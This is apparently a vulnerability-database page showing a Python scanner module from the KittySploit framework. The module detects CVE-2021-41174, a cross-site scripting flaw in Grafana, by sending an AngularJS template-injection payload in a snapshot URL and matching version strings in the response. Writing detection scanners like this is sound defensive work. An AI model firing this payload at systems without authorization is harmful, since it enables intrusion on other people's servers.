Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 52 |
|---|---|---|---|---|
| Security fix for the ALT Linux 10 package grafana version 8.5.0-alt1 | 5 May 202200:00 | – | altlinux | |
| Grafana -- XSS | 21 Oct 202100:00 | – | freebsd | |
| [ASA-202111-5] grafana: cross-site scripting | 5 Nov 202100:00 | – | archlinux | |
| CVE-2021-41174 | 3 Nov 202121:23 | – | circl | |
| grafana 跨站脚本漏洞 | 3 Nov 202100:00 | – | cnnvd | |
| Grafana Cross-site Scripting (CVE-2021-41174) | 27 Dec 202100:00 | – | checkpoint_advisories | |
| CVE-2021-41174 | 3 Nov 202118:00 | – | cve | |
| CVE-2021-41174 XSS vulnerability allowing arbitrary JavaScript execution | 3 Nov 202118:00 | – | cvelist | |
| FreeBSD : Grafana -- XSS (4b478274-47a0-11ec-bd24-6c3be5272acd) | 13 Dec 202100:00 | – | nessus | |
| openSUSE 15 Security Update : SUSE Manager Client Tools (SUSE-SU-2022:1396-1) | 20 Jan 202300:00 | – | nessus |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Grafana is an open-source platform for monitoring and observability."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting Detection',
'description': "Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions.",
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2021', 'grafana', 'xss', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://github.com/grafana/grafana/security/advisories/GHSA-3j9m-hcv9-rpj8',
'https://nvd.nist.gov/vuln/detail/CVE-2021-41174',
'https://github.com/grafana/grafana/commit/3cb5214fa45eb5a571fd70d6c6edf0d729983f82',
'https://github.com/grafana/grafana/commit/31b78d51c693d828720a5b285107a50e6024c912',
'https://github.com/grafana/grafana/commit/fb85ed691290d211a5baa44d9a641ab137f0de88',
],
'cve': 'CVE-2021-41174',
}
def run(self):
r = self.http_request(method="GET", path='/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('Grafana', 'frontend_boot_js_done_time_seconds',)
body_regexes = ('"subTitle":"Grafana (v8\\.(?:(?:1|0)\\.[0-9]|2\\.[0-2]))',)
if (all(m in body for m in body_all)) and (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='medium',
reason="Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting detected",
path='/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1',
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
7.4High risk
Vulners AI Score7.4
CVSS 24.3
CVSS 3.16.1 - 6.9
EPSS0.85404